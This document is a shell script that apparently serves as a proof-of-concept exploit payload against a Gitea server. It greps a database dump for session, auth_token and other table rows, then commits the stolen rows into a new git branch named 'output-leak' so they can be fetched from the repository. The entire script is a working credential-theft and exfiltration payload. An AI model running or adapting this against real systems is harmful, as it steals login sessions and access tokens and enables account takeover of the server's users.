#!/bin/sh GD=$(git rev-parse --absolute-git-dir) REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||') OUT=$( { S=/data/gitea/tmp/gd.sql for t in session user_setting auth_token release action_run action_run_job; do echo "== $t count=$(grep -c "INSERT INTO \"$t\"" $S)"; grep "INSERT INTO \"$t\"" $S | head -3 | cut -c1-420; echo; done echo "---SESSION_ALL---"; grep 'INSERT INTO "session"' $S | cut -c1-260 | head -40 echo DONE } 2>&1; echo "[rc=$?]") BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin) TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree) CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve output") git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"